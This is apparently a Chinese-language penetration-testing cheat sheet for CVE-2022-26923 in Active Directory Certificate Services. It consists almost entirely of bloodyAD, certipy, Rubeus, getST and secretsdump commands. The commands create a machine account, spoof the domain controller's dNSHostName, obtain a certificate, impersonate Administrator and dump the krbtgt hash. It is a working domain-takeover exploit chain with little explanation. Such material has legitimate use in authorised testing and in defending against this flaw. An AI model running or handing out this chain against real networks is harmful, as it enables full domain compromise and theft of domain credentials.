经过认证的CVE-2022-26923

经过身份验证的用户可以操纵他们拥有或管理的计算机帐户的属性，并从 Active Directory 证书服务获取允许提升特权的证书。
寻找ms-DS-MachineAccountQuota
>python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 getObjectAttributes  'DC=lab,DC=local' ms-DS-MachineAccountQuota 
>默认情况下，在 Active Directory 中添加新计算机MachineAccountQuota = 10
>python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 addComputer cve 'CVEPassword1234*'
>certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local'
>[ALTERNATIVE] 如果您是SYSTEM并且MachineAccountQuota=0：使用当前机器的票证并重置其 SPN
>Rubeus.exe tgtdeleg
>export KRB5CCNAME=/tmp/ws02.ccache
>python bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local setAttribute 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName '[]'
>设置dNSHostName属性以匹配域控制器主机名
>python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 setAttribute 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName '["DC.lab.local"]'
>python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 getObjectAttributes 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName
>索取票
>certipy req 'domain.local/cve$:CVEPassword1234*@ADCS_IP' -template Machine -dc-ip DC_IP -ca discovered-CA
>certipy req 'lab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine -dc-ip 10.10.10.10 -ca lab-ADCS-CA
>使用 pfx 或在您的计算机帐户上设置 RBCD 以接管域
>certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10
>openssl pkcs12 -in dc.pfx -out dc.pem -nodes
>python bloodyAD.py -d lab.local  -c ":dc.pem" -u 'cve$' --host 10.10.10.10 setRbcd 'CVE$' 'CRASHDC$'
>getST.py -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 10.10.10.10 'lab.local/cve$:CVEPassword1234*'   
>secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/[e-mail]' -k -no-pass -dc-ip 10.10.10.10 -target-ip 10.10.10.10